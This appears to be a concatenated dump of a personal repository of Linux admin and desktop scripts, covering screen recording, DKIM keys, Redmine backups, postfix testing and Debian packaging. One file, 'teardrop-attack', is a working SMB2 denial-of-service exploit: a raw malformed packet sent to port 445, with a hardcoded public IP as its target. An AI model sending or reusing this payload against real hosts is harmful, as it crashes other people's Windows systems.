-bufsize 10M' # -bf 2 -ref 1' 17 | 18 | sleep 4 19 | 20 | #ffmpeg -f x11grab -i :0.0 -vcodec libx264 -preset ultrafast -b:v 90000k output.mp4 21 | $FFMPEG \ 22 | -y \ 23 | -video_size ${WIDTH}x${HEIGHT} -framerate ${FRAMERATE} \ 24 | -f x11grab -i :0.0+0,0 \ 25 | -threads 4 \ 26 | -thread_queue_size 500 \ 27 | -f alsa -ac 2 -i pulse \ 28 | -vcodec $VIDEO_CODEC $ENCODER_OPTIONS \ 29 | -strict -2 \ 30 | $1 31 | -------------------------------------------------------------------------------- /dkim-key: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | domain=$1 4 | selector="mail" 5 | 6 | if [ ! $domain ];then 7 | echo "Domain name must be provided (dkim-key domain.com)" 8 | exit 2 9 | fi 10 | 11 | mkdir -pv /etc/opendkim/$domain/ 12 | chown -Rv opendkim:opendkim /etc/opendkim 13 | chmod go-rwx /etc/opendkim/* 14 | 15 | cd /etc/opendkim/$domain/ 16 | opendkim-genkey -r -h sha256 -d $domain -s $selector 17 | mv -v mail.private $selector 18 | chown opendkim:opendkim * 19 | chmod u=rw,go-rwx * 20 | 21 | echo "$domain $domain:mail:/etc/opendkim/$domain/$selector" >> /etc/opendkim/KeyTable 22 | echo "*@$domain $domain" >> /etc/opendkim/SigningTable 23 | echo "$domain" >> /etc/opendkim/TrustedHosts 24 | 25 | echo "Now add this TXT record in the DNS configuration for $domain" 26 | cat mail.txt 27 | -------------------------------------------------------------------------------- /missing-libs: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | PARAMS=$(getopt -n $0 -o 6,4 --long 64,32 -- "$@") 4 | eval set -- "$PARAMS" 5 | 6 | while true; do 7 | case "$1" in 8 | -3|--32) libs="/lib32|i386|libx32/"; shift ;; 9 | -6|--64) libs="/x86-64|x86_64/"; shift ;; 10 | --) shift ; break;; 11 | esac 12 | done 13 | 14 | executable=$1 15 | 16 | needed_libs=$(readelf -d $executable | awk -F'[][]' '/NEEDED/{print $2}') 17 | available_libs=$(ldconfig -p | awk $libs'{print $1}' | sort -u) 18 | 19 | for l in $needed_libs 20 | do 21 | needed=1 22 | for a in $available_libs 23 | do 24 | if [ "$l" = "$a" ]; then 25 | needed=0 26 | break 27 | fi 28 | done 29 | if [ $needed = 1 ]; then 30 | echo "Missing $l" 31 | fi 32 | done 33 | -------------------------------------------------------------------------------- /redmine-backup: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | BACKUP_SUFFIX=$(date +%Y%m%d-%s) 6 | BACKUP_DIR=$HOME/redmine-backup/redmine-$BACKUP_SUFFIX 7 | mkdir -p $BACKUP_DIR 8 | cd /var/lib/redmine 9 | tar cvzf $BACKUP_DIR/redmine-files-$BACKUP_SUFFIX.tar.gz . 10 | 11 | 12 | cd /var/log/redmine 13 | tar cvzf $BACKUP_DIR/redmine-log-$BACKUP_SUFFIX.tar.gz . 14 | 15 | cd /etc/redmine 16 | tar cvzf $BACKUP_DIR/redmine-etc-$BACKUP_SUFFIX.tar.gz . 17 | ADAPTER=$(grep adapter /etc/redmine/default/database.yml | cut -d: -f2 | awk '{print $1}') 18 | DATABASE=$(grep database /etc/redmine/default/database.yml | cut -d: -f2 | awk '{print $1}') 19 | if [ $ADAPTER = 'sqlite3' ] ; then 20 | tar cvzf $BACKUP_DIR/redmine-db-$BACKUP_SUFFIX.tar.gz $DATABASE 21 | fi 22 | tar cvzf $BACKUP_DIR/../redmine-full-backup-$BACKUP_SUFFIX.tar.gz $BACKUP_DIR 23 | -------------------------------------------------------------------------------- /django-setup: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt-get update 4 | sudo apt-get install -y git bzr mercurial python-setuptools python-dev make python3-dev 5 | sudo easy_install pip 6 | sudo pip install pip -U 7 | sudo pip install virtualenvwrapper -U 8 | sudo pip install flake8 -U 9 | sudo pip install pylint -U 10 | sudo pip install ipython -U 11 | 12 | # Set up node.js and npm 13 | if [ -z "$(which npm)" ]; then 14 | if [ "$(lsb_release -is)" = "Ubuntu" ]; then 15 | sudo apt-get -y install software-properties-common 16 | sudo add-apt-repository -y ppa:chris-lea/node.js 17 | sudo apt-get update 18 | sudo apt-get install -y nodejs 19 | npm install grunt-cli -g 20 | npm install bower -g 21 | else 22 | echo "Please install latest version of nodejs and npm." 23 | fi 24 | fi 25 | -------------------------------------------------------------------------------- /postfix-test: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | user=${SMTP_USER:-$USER} 6 | host=${SMTP_HOST:-localhost} 7 | port=${SMTP_PORT:-25} 8 | echo -n "Password:" 9 | read -s password 10 | EMAIL=strycore@gmail.com 11 | USER_HASH=$(printf $user | base64) 12 | PASSWORD_HASH=$(printf $password | base64) 13 | 14 | #echo "Testing saslauthd standalone. Root privileges required" 15 | # sudo testsaslauthd -u $user -p $SMTP_PASSWORD 16 | 17 | cat << EOF 18 | Opening telnet connection for testing postfix 19 | The expected result is : 20 | 250-STARTTLS 21 | 250-AUTH LOGIN PLAIN 22 | 250-AUTH=LOGIN PLAIN 23 | 24 | Type in : 25 | ehlo localhost 26 | auth login 27 | $USER_HASH 28 | $PASSWORD_HASH 29 | mail from: $EMAIL 30 | rcpt to: $EMAIL 31 | data 32 | My message here 33 | . 34 | quit 35 | EOF 36 | 37 | echo 'now type: ehlo localhost' 38 | telnet $host $port 39 | -------------------------------------------------------------------------------- /fix-network.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | SUDO='gksu' 4 | ECHO='zenity --info --text=' 5 | GATEWAY_IP=192.168.0.1 6 | 7 | 8 | WLAN_CONNECTED=`ifconfig | grep "^wlan0" | wc -l` 9 | if [ $WLAN_CONNECTED = 0 ] 10 | then 11 | $ECHO"Please connect WIFI Dongle" 12 | exit 2 13 | fi 14 | 15 | $SUDO ifconfig eth0 down 16 | $SUDO ifconfig eth0 192.168.2.103 netmask 255.255.255.0 up 17 | $SUDO route del default gw $GATEWAY_IP eth0 18 | $SUDO route add default gw $GATEWAY_IP wlan0 19 | 20 | if [ $(ping -c 1 wanadoo.fr | grep "64 bytes from" | wc -l) = 1 ] ; then 21 | $ECHO"Connected to the interwebz !" 22 | fi 23 | 24 | if [ $(ping -c 1 newport | grep "64 bytes from" | wc -l) = 1 ] ; then 25 | $ECHO"Connected to the localz !" 26 | if [ $(ls /mnt/music | wc -l) = 0 ] ; then 27 | $SUDO mount /mnt/music 28 | fi 29 | fi 30 | 31 | -------------------------------------------------------------------------------- /chroot_system: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | SYSTEM=$1 5 | if [ $SYSTEM = 'fedora' ]; then 6 | DEVICE="/dev/sdc3" 7 | elif [ $SYSTEM = 'ubuntu-devel' ]; then 8 | DEVICE='/dev/sdb6' 9 | elif [ $SYSTEM = 'archlinux' ]; then 10 | DEVICE='/dev/sdb1' 11 | else 12 | echo "Enter either fedora or ubuntu-devel or archlinux" 13 | fi 14 | 15 | echo "Mounting filesystems" 16 | mkdir -p /tmp/$SYSTEM 17 | sudo mount $DEVICE /tmp/$SYSTEM 18 | sudo mount --bind /dev /tmp/${SYSTEM}/dev 19 | sudo mount -t proc /proc /tmp/${SYSTEM}/proc 20 | 21 | export SHELL=/bin/sh 22 | 23 | echo "Launching chroot" 24 | sudo chroot /tmp/${SYSTEM} /bin/bash 25 | #sudo chroot /tmp/${SYSTEM} 26 | 27 | echo "Leaving chroot, unmounting filesystems" 28 | sudo umount /tmp/${SYSTEM}/proc 29 | sudo umount /tmp/${SYSTEM}/dev 30 | sudo umount /tmp/${SYSTEM} 31 | rmdir /tmp/$SYSTEM 32 | echo "Done." 33 | -------------------------------------------------------------------------------- /restore-trash: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Restore the file hierarchy inside a Linux trash 3 | # Moves everything into a 'restored' folder 4 | import configparser 5 | import os 6 | import shutil 7 | 8 | config = configparser.RawConfigParser() 9 | 10 | if not os.path.exists('restored'): 11 | os.mkdir('restored') 12 | 13 | for info in os.listdir("info"): 14 | config.read("info/" + info) 15 | path = str(config.get('Trash Info', 'Path')) 16 | sourcename, _ext = os.path.splitext(info) 17 | sourcefile = "files/" + sourcename 18 | if not os.path.exists(sourcefile): 19 | continue 20 | directory = os.path.dirname(path) 21 | target_dir = os.path.join('restored', directory) 22 | target = os.path.join('restored', path) 23 | if not os.path.exists(target_dir): 24 | os.makedirs(target_dir) 25 | shutil.move(sourcefile, target) 26 | -------------------------------------------------------------------------------- /redmine-deploy: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Deploy a Redmine backup buiilt with redmine-backup 4 | # 5 | # Version 0.1 (2010/09/01) 6 | # (c) 2010 Mathieu Comandon 7 | # Licensed under the terms of the GPL Version 3 8 | # 9 | 10 | set -e 11 | 12 | backup=$(basename $1) 13 | if [ $(dirname $1) = '.' ] ; then 14 | backup_path=`pwd` 15 | else 16 | backup_path=$(pwd)$(dirname $backup) 17 | fi 18 | 19 | cd /tmp 20 | backup_fullpath=${backup_path}/${backup} 21 | echo "Extracting $backup_fullpath to /tmp" 22 | tar xzf $backup_fullpath 23 | suffix=$(echo $backup | sed 's|redmine-full-backup-||' | sed 's|.tar.gz||') 24 | 25 | cd / 26 | tar xzf /tmp/redmine-db-$suffix.tar.gz 27 | cd /etc/redmine 28 | tar xzf /tmp/redmine-etc-$suffix.tar.gz 29 | cd /var/lib/redmine 30 | tar xzf /tmp/redmine-files-$suffix.tar.gz 31 | cd /var/log/redmine 32 | tar xzf /tmp/redmine-log-$suffix.tar.gz 33 | -------------------------------------------------------------------------------- /xkboptions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from gi.repository import Gio 4 | 5 | XKB_GSETTINGS_SCHEMA = "org.gnome.desktop.input-sources" 6 | XKB_GSETTINGS_NAME = "xkb-options" 7 | 8 | 9 | def get_xkb_setting(): 10 | return Gio.Settings(XKB_GSETTINGS_SCHEMA) 11 | 12 | 13 | def set_xkb_option(key, value): 14 | option = ":".join((key, value)) 15 | setting = get_xkb_setting() 16 | opts = setting[XKB_GSETTINGS_NAME] 17 | if option in opts: 18 | # opts.remove(option) 19 | pass 20 | else: 21 | opts.append(option) 22 | 23 | setting[XKB_GSETTINGS_NAME] = opts 24 | 25 | 26 | if __name__ == '__main__': 27 | options = { 28 | 'caps': 'swapescape', 29 | 'compose': 'menu', 30 | 'terminate': 'ctrl_alt_bksp' 31 | } 32 | for key, value in options.items(): 33 | set_xkb_option(key, value) 34 | print get_xkb_setting()[XKB_GSETTINGS_NAME] 35 | -------------------------------------------------------------------------------- /debug: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------- 2 | usage() { 3 | cat<&2 13 | } 14 | 15 | die() { 16 | usage 17 | log 'error:' ${*}'.' 18 | exit 1 19 | } 20 | 21 | 22 | #--------------------------------------------------------------------- 23 | test "x${*}" = "x" && die 'no process given' 24 | 25 | LOG="/tmp/gdb-`basename ${1}`.txt" 26 | log "outputting trace to '${LOG}'" 27 | 28 | exec gdb \ 29 | -ex 'set logging overwrite on' \ 30 | -ex "set logging file ${LOG}" \ 31 | -ex 'set logging on' \ 32 | -ex 'handle SIG33 pass nostop noprint' \ 33 | -ex 'set pagination 0' \ 34 | -ex 'run' \ 35 | -ex 'backtrace full' \ 36 | -ex 'info registers' \ 37 | -ex 'x/16i $pc' \ 38 | -ex 'thread apply all backtrace' \ 39 | -ex 'quit' \ 40 | --args ${*} \ 41 | < /dev/null 42 | -------------------------------------------------------------------------------- /multidist: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | function menu { 4 | echo "(1) Fetch apache configurations" 5 | echo "(2) Fetch fstab" 6 | echo "(q) Quit" 7 | read CHOICE 8 | case $CHOICE in 9 | 1) 10 | APACHE_DIFF="" 11 | for I in $(seq $INDEX) 12 | do 13 | APACHE_PATH=${DIST[`expr $I-1`]}"/etc/apache2/apache2.conf" 14 | if [ -f $APACHE_PATH ]; then 15 | APACHE_DIFF=$APACHE_DIFF" "$APACHE_PATH 16 | fi 17 | done 18 | meld $APACHE_DIFF 19 | menu 20 | ;; 21 | 2) 22 | FSTAB_PATH="" 23 | for I in $(seq $INDEX) 24 | do 25 | FSTAB_PATH=$FSTAB_PATH" "${DIST[`expr $I-1`]}"/etc/fstab" 26 | done 27 | meld $FSTAB_PATH 28 | menu 29 | ;; 30 | q) 31 | exit 32 | ;; 33 | esac 34 | } 35 | function get_drives { 36 | INDEX=0 37 | for MNT in `mount | awk '{print $3}'` 38 | do 39 | if [ -d $MNT"/etc" ]; 40 | then 41 | DIST[$INDEX]=$MNT 42 | INDEX=`expr $INDEX + 1` 43 | fi 44 | done 45 | } 46 | function show_drives { 47 | echo "Distributions found in :" 48 | for I in $(seq $INDEX) 49 | do 50 | echo " - "${DIST[`expr $I-1`]} 51 | done 52 | } 53 | get_drives 54 | show_drives 55 | menu 56 | 57 | -------------------------------------------------------------------------------- /apt-clean-dependencies: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Check for unneeded dependencies in a dependency list of apt packages 3 | 4 | import apt 5 | import sys 6 | 7 | SEPARATOR = "\n" + "=" * 80 + "\n" 8 | 9 | pkg_list = sys.argv[1:] 10 | cache = apt.Cache() 11 | missing = [] 12 | extra_dependencies = set() 13 | 14 | 15 | def get_dependency_pkg_names(dependency): 16 | dependency_versions = dependency.target_versions 17 | return [version.package.name for version in dependency_versions] 18 | 19 | 20 | for pkg_name in pkg_list: 21 | package = cache.get(pkg_name) 22 | if not package: 23 | missing.append(pkg_name) 24 | continue 25 | version = package.versions[0] 26 | for dependency in version.dependencies: 27 | for pkg in get_dependency_pkg_names(dependency): 28 | if pkg in pkg_list: 29 | extra_dependencies.add(pkg) 30 | 31 | print SEPARATOR 32 | print "Missing packages: \n{}".format(" ".join(missing)) 33 | 34 | print SEPARATOR 35 | print "Unneeded dependencies: \n{}".format(" ".join(extra_dependencies)) 36 | 37 | print SEPARATOR 38 | print "Cleaned dependency list: \n{}".format( 39 | " ".join(sorted(set(pkg_list) - extra_dependencies)) 40 | ) 41 | -------------------------------------------------------------------------------- /iso3166-1alpha2-to-sql: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Convert a list of country codes 3 | # in ISO3166-1 alpha 2 format to a SQL script. 4 | # 5 | # 2010, Mathieu Comandon 6 | # 7 | # This file is under a WTFPL Licence 8 | # 9 | 10 | 11 | 12 | # The country code list is located at : 13 | # http://www.iso.org/iso/iso3166_en_code_lists.txt 14 | 15 | # For more information about ISO 3166-1 visit Wikipedia : 16 | # http://en.wikipedia.org/wiki/ISO_3166-1_alpha-2 17 | 18 | set -e 19 | 20 | text_file=$1 21 | if [ ! -f $text_file ]; then 22 | text_file = "/tmp/iso3166_en_code_lists.txt" 23 | wget http://www.iso.org/iso/iso3166_en_code_lists.txt -O $text_file 24 | fi 25 | table='country_code' 26 | IFS=$(echo -en "\n\b") 27 | dest="$HOME/isocodes.sql" 28 | rm $dest 29 | for line in $(cat "$text_file") ; do 30 | len=${#line} 31 | if [ $len -lt 200 -a $len -gt 4 ] ; then 32 | new_line=$(echo $line | iconv -f iso-8859-1 -t utf-8 -) 33 | country=${new_line%;*} 34 | country=$(echo $country | sed -e "s/'/\\\\'/") 35 | code=${new_line#*;} 36 | code=$(echo -n $code | tr -d '\r') 37 | 38 | echo "INSERT INTO ${table} (country, code) VALUES (\"${country}\", \"${code}\");" >> $dest 39 | fi 40 | done 41 | 42 | unset IFS 43 | -------------------------------------------------------------------------------- /ppa-check: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | from collections import defaultdict 5 | 6 | import requests 7 | from aptsources import sourceslist 8 | 9 | 10 | IGNORE_DISABLED = True 11 | SHOW_SUPPORTED = True 12 | TARGET_DIST = 'artful' 13 | 14 | 15 | def get_sources(): 16 | sources = defaultdict(list) 17 | for source in sourceslist.SourcesList(): 18 | sources[source.file].append(source) 19 | return sources 20 | 21 | 22 | def get_distro(distro_info): 23 | if '-' not in distro_info: 24 | return (distro_info, '') 25 | return distro_info.split('-', 1) 26 | 27 | 28 | for path, sources in get_sources().items(): 29 | for src in sources: 30 | if src.invalid or src.type == 'deb-src': 31 | continue 32 | if IGNORE_DISABLED and src.disabled: 33 | continue 34 | 35 | if any(domain in src.uri for domain in ['ubuntu.com', 'canonical.com']): 36 | continue 37 | repo_url = os.path.join(src.uri, 'dists', TARGET_DIST) 38 | response = requests.get(repo_url) 39 | 40 | if response.status_code == 200: 41 | if SHOW_SUPPORTED: 42 | print(repo_url, response.status_code) 43 | elif not SHOW_SUPPORTED: 44 | print(repo_url, response.status_code) 45 | -------------------------------------------------------------------------------- /teardrop-attack: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # When SMB2.0 recieve a "&" char in the "Process Id High" 3 | # SMB header field it dies with a 4 | # PAGE_FAULT_IN_NONPAGED_AREA 5 | 6 | import sys 7 | from socket import socket 8 | from time import sleep 9 | 10 | host = sys.argv[1], 445 11 | #host = "192.168.33.13", 445 12 | host = "217.113.205.53", 445 13 | buff = ( 14 | "\x00\x00\x00\x90" # Begin SMB header: Session message 15 | "\xff\x53\x4d\x42" # Server Component: SMB 16 | "\x72\x00\x00\x00" # Negociate Protocol 17 | "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 18 | "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00" 19 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" 20 | "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" 21 | "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" 22 | "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" 23 | "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" 24 | "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" 25 | "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" 26 | "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" 27 | "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" 28 | "\x30\x30\x32\x00" 29 | ) 30 | s = socket() 31 | s.connect(host) 32 | s.send(buff) 33 | s.close() 34 | 35 | -------------------------------------------------------------------------------- /conky/rings: -------------------------------------------------------------------------------- 1 | # -- Conky settings -- # 2 | background no 3 | update_interval 1 4 | 5 | cpu_avg_samples 2 6 | net_avg_samples 2 7 | 8 | override_utf8_locale yes 9 | 10 | double_buffer yes 11 | no_buffers yes 12 | 13 | text_buffer_size 2048 14 | imlib_cache_size 0 15 | 16 | # -- Window specifications -- # 17 | 18 | own_window yes 19 | own_window_type override 20 | #own_window_type desktop 21 | own_window_transparent yes 22 | own_window_hints undecorate,sticky,skip_taskbar,skip_pager,below 23 | 24 | border_inner_margin 0 25 | border_outer_margin 0 26 | 27 | minimum_size 800 300 28 | maximum_width 800 29 | 30 | alignment tr 31 | gap_x 10 32 | gap_y 29 33 | 34 | # -- Graphics settings -- # 35 | draw_shades no 36 | draw_outline no 37 | draw_borders no 38 | draw_graph_borders no 39 | 40 | # -- Text settings -- # 41 | use_xft yes 42 | xftfont Santana:size=18 43 | xftalpha 0.8 44 | 45 | uppercase no 46 | 47 | default_color AEA3AF 48 | 49 | # -- Lua Load -- # 50 | lua_load ~/bin/conky/clock_rings.lua 51 | lua_draw_hook_pre clock_rings 52 | 53 | TEXT 54 | ${voffset 135}${goto 123}${font Santana:size=24}${time %H:%M}${voffset -9}${font Santana:size=12}${time %p}${font} 55 | ${voffset -20}${goto 224}${hr 2} 56 | ${voffset -70}${goto 278}${cpugraph 50,285 d5dcde AEA3AF} 57 | ${voffset -7}${goto 287}${time %A, %d %B %Y} 58 | -------------------------------------------------------------------------------- /iso3166-1alpha2-to-yaml: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Convert a list of country codes 3 | # in ISO3166-1 alpha 2 format to a SQL script. 4 | # 5 | # 2010, Mathieu Comandon 6 | # 7 | # This file is under a WTFPL Licence 8 | # 9 | 10 | 11 | 12 | # The country code list is located at : 13 | # http://www.iso.org/iso/iso3166_en_code_lists.txt 14 | 15 | # For more information about ISO 3166-1 visit Wikipedia : 16 | # http://en.wikipedia.org/wiki/ISO_3166-1_alpha-2 17 | 18 | set -e 19 | 20 | text_file=$1 21 | if [ -z $text_file ]; then 22 | text_file="/tmp/iso3166_en_code_lists.txt" 23 | wget http://www.iso.org/iso/iso3166_en_code_lists.txt -O $text_file 24 | fi 25 | table='country_code' 26 | IFS=$(echo -en "\n\b") 27 | dest="$HOME/isocodes.yml" 28 | echo "CountryCode:" > $dest 29 | for line in $(cat "$text_file") ; do 30 | len=${#line} 31 | if [ $len -lt 200 -a $len -gt 4 ] ; then 32 | new_line=$(echo $line | iconv -f iso-8859-1 -t utf-8 -) 33 | country=${new_line%;*} 34 | country=$(echo $country | sed -e "s/'/\\\\'/") 35 | code=${new_line#*;} 36 | code=$(echo -n $code | tr -d '\r') 37 | 38 | echo " ${code}:" >> $dest 39 | echo " country: ${country}" >> $dest 40 | echo " code: ${code}" >> $dest 41 | fi 42 | done 43 | 44 | unset IFS 45 | -------------------------------------------------------------------------------- /vlc-screencast: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | if [ ! $(which vlc) ] ; then 6 | echo "Vlc is not installed" 7 | exit 2 8 | fi 9 | 10 | ##Options 11 | 12 | ##Video size 13 | height="480" 14 | width="640" 15 | 16 | ##Encoder 17 | #video_encoder="ffmpeg" 18 | #video_encoder="x264" 19 | video_encoder="theora" 20 | 21 | ##Video Codec 22 | #video_codec="h264" 23 | video_codec="vorb" 24 | 25 | #Input 26 | input="screen://" 27 | #input="v4l2://" 28 | fps=10 29 | 30 | #Output access 31 | access="http" 32 | ## file 33 | ## udp 34 | ## rtp 35 | ## http 36 | ## https 37 | ## mmsh : mms over http 38 | 39 | 40 | filename="stream.ogg" 41 | 42 | #Multiplexer 43 | mux="ogg" 44 | #mux="ts" 45 | #mux="ps" 46 | 47 | video_bitrate="500" 48 | port="8090" 49 | desktop_ip="192.168.1.11" 50 | laptop_ip="192.168.1.10" 51 | universal_ip="0.0.0.0" 52 | ip=$universal_ip 53 | 54 | #VLC Parameters 55 | 56 | screen_options= 57 | if [ $input="screen://" ]; then 58 | screen_options=" --screen-fps 10 --screen-mouse-image --screen-follow-mouse --screen-width $width --screen-height $height" 59 | fi 60 | 61 | if [ $access="http" ]; then 62 | dst=$ip:$port/$filename 63 | fi 64 | 65 | transcode_options="vcodec=$video_codec,venc=$video_encoder,fps=$fps,vb=$video_bitrate,width=$width,heigth=$height" 66 | std_options="access=http,mux=$mux,dst=$dst" 67 | sout="#transcode{$transcode_options}:std{$std_options}" 68 | 69 | vlc_options="$input $screen_options --sout \"$sout\"" 70 | echo "vlc $vlc_options" 71 | cvlc "$vlc_options" 2>/dev/null 72 | -------------------------------------------------------------------------------- /movesettings.sh: -------------------------------------------------------------------------------- 1 | OLD_DIR='/media/disk-1$HOME' 2 | cd $OLD_DIR 3 | mv .mozilla $HOME 4 | mv .purple $HOME 5 | mv .themes $HOME 6 | mv .icons $HOME 7 | mv .ut2004 $HOME 8 | mv .VirtualBox $HOME 9 | mv .conkyrc $HOME 10 | mv .xchat2 $HOME 11 | mv .zsnes $HOME 12 | mv .wine $HOME 13 | mv .vlc $HOME 14 | mv .transmission $HOME 15 | mv .q3a $HOME 16 | mv .mplayer $HOME 17 | mv .ssh $HOME 18 | mv .mozilla-thunderbird $HOME 19 | mv .doom3 $HOME 20 | mv .compiz $HOME 21 | mv .geany $HOME 22 | mv .evolution $HOME 23 | mv .gftp $HOME 24 | mv .nicotine $HOME 25 | mv .subversion $HOME 26 | mv .config/autostart $HOME/.config 27 | mv .gconf $HOME 28 | mv .gimp-2.4 $HOME 29 | mv .openoffice.org2 $HOME 30 | mv .tomboy $HOME 31 | mv .smplayer $HOME 32 | mv .gtk-bookmarks $HOME 33 | mv .wireshark $HOME 34 | 35 | rm .sudo_as_admin_successful 36 | rm .recently-used.xbel 37 | rm .xsession-errors 38 | rm .Xauthority 39 | rm .tomboy.log 40 | rm -rf .update-notifier 41 | rm -rf .wapi 42 | rm -rf .thumbnails 43 | rm -rf .adobe 44 | rm -rf .macromedia 45 | rm -rf .bluefish 46 | rm -rf .cache 47 | rm -rf .gvfs 48 | rm -rf .bogofilter 49 | rm -rf .fontconfig 50 | rm -rf .xine 51 | rm .aptana 52 | rm .dmrc 53 | rm .bash_history 54 | rm .bash_logout 55 | rm .esd_auth 56 | rm .gksu.lock 57 | rm .htoprc 58 | rm .ICEauthority 59 | rm .pulse-cookie 60 | rm .nvidia-settings-rc 61 | rm -rf .gnome2_private 62 | rm -rf .gstreamer-0.10 63 | rm -rf .update-manager-core 64 | rm -rf .qt 65 | rm -rf .pulse 66 | rm -rf .nautilus 67 | rm -rf .mcop 68 | rm -rf .metacity 69 | rm -rf .gnome2 70 | 71 | -------------------------------------------------------------------------------- /postfix-telnet: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import pexpect 4 | import sys 5 | import base64 6 | 7 | email_to = None 8 | email_from = None 9 | login = None 10 | password = None 11 | hostname = None 12 | 13 | telnet_session = pexpect.spawn('telnet ' + hostname + ' 25') 14 | telnet_session.logfile_read = sys.stdout 15 | telnet_session.logfile = sys.stdout 16 | connect = telnet_session.expect('220') 17 | telnet_session.sendline ('ehlo ' + hostname) 18 | telnet_session.expect(['250']) 19 | telnet_session.sendline('auth login') 20 | telnet_session.expect('VXNlcm5hbWU6', timeout=2) 21 | telnet_session.sendline(base64.b64encode(login)) 22 | telnet_session.expect('UGFzc3dvcmQ6', timeout=2) 23 | telnet_session.sendline(base64.b64encode(password)) 24 | index = telnet_session.expect(['succe', 'authentication failure'], timeout=5) 25 | if index == 0: 26 | print "auth ok" 27 | else: 28 | print "auth failed with index ", index 29 | telnet_session.sendline("MAIL FROM:<" + email_from + ">") 30 | telnet_session.expect(['Ok', 'ok']) 31 | telnet_session.sendline('RCPT TO:<' + email_to + '>') 32 | index = telnet_session.expect(['Ok', 'ok', 'address rejected']) 33 | telnet_session.sendline('DATA') 34 | #telnet_session.sendline('Subject: Telnet test') 35 | telnet_session.sendline('This message was sent by telnet') 36 | telnet_session.sendline('kthxbye') 37 | telnet_session.sendline('.') 38 | if index == 0 or index == 1: 39 | print "SUCCESS" 40 | elif index == 2: 41 | print "FAIL" 42 | else: 43 | print 'unknown error' 44 | telnet_session.sendline('QUIT') 45 | 46 | -------------------------------------------------------------------------------- /django-localtunnel: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Localtunnel for Django 4 | # 5 | # Use the localtunnel.me service to expose your local server to the outside 6 | # This scripts updates a Django Site object (named 'localhost') to your 7 | # Localtunnel URL. 8 | # 9 | import os 10 | import sys 11 | import time 12 | import signal 13 | import subprocess 14 | try: 15 | from django.contrib.sites.models import Site 16 | except ImportError: 17 | print("Run from an activated Django virtualenv") 18 | sys.exit(1) 19 | 20 | PORT = '8000' 21 | PID = None 22 | LOGFILE = '/tmp/localtunnel.out' 23 | 24 | 25 | def set_localhost(domain): 26 | try: 27 | site = Site.objects.get(name='localhost') 28 | except Site.DoesNotExist: 29 | print("Create a Site with name 'localhost'") 30 | else: 31 | site.domain = domain 32 | site.save() 33 | 34 | 35 | def exit_handler(s, f): 36 | if PID: 37 | print("\nExiting localtunnel (%s)" % PID) 38 | os.kill(PID, signal.SIGKILL) 39 | set_localhost('localhost:%s' % PORT) 40 | sys.exit(0) 41 | signal.signal(signal.SIGINT, exit_handler) 42 | 43 | 44 | log = open(LOGFILE, 'w') 45 | proc = subprocess.Popen(['ngrok-start'], stdout=log) 46 | time.sleep(1) 47 | log.close() 48 | 49 | with open(LOGFILE, 'r') as log: 50 | logcontent = log.read() 51 | 52 | localtunnel_url = logcontent.split()[-1] 53 | localtunnel_domain = localtunnel_url.split('/')[-1] 54 | set_localhost(localtunnel_domain) 55 | 56 | PID = proc.pid 57 | print("The server on port %s is now available at %s" % (PORT, localtunnel_url)) 58 | print("(Press Ctrl+C to exit)") 59 | proc.wait() 60 | -------------------------------------------------------------------------------- /package_buuf.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | #sudo apt-get install dh-make devscripts cdbs build-essential fakeroot 5 | 6 | PKGNAME="buuf-icon-theme" 7 | VER="1.1" 8 | SOURCE_DIR="$HOME/dev/buufdeuce-1.1/" 9 | PKG_DIR="$HOME/dev/packaging/"$PKGNAME"-"$VER 10 | SECTION="x11" 11 | PRIORITY="optional" 12 | PROJECTURL="http://djany.deviantart.com/art/Gnome-Buuf-Deuce-1-1-R3-73339997" 13 | PROJECTDESC="gnome-buuf iconset with the Deuce iconset fron Mattahan" 14 | PROJECTLONGDESC="" 15 | DEPENDS="" 16 | export DEBFULLNAME="Mathieu Comandon" 17 | export DEBEMAIL="strycore@gmail.com" 18 | rm -rf $PKG_DIR 19 | mkdir -p $PKG_DIR 20 | cd $PKG_DIR 21 | 22 | cp $SOURCE_DIR/* $PKG_DIR -R 23 | tar cvzf ../${PKGNAME}"_"${VER}.orig.tar.gz ../${PKGNAME}-${VER}/ 24 | dh_make -c artistic -s 25 | 26 | cd debian 27 | rm *ex *EX README.Debian dirs 28 | 29 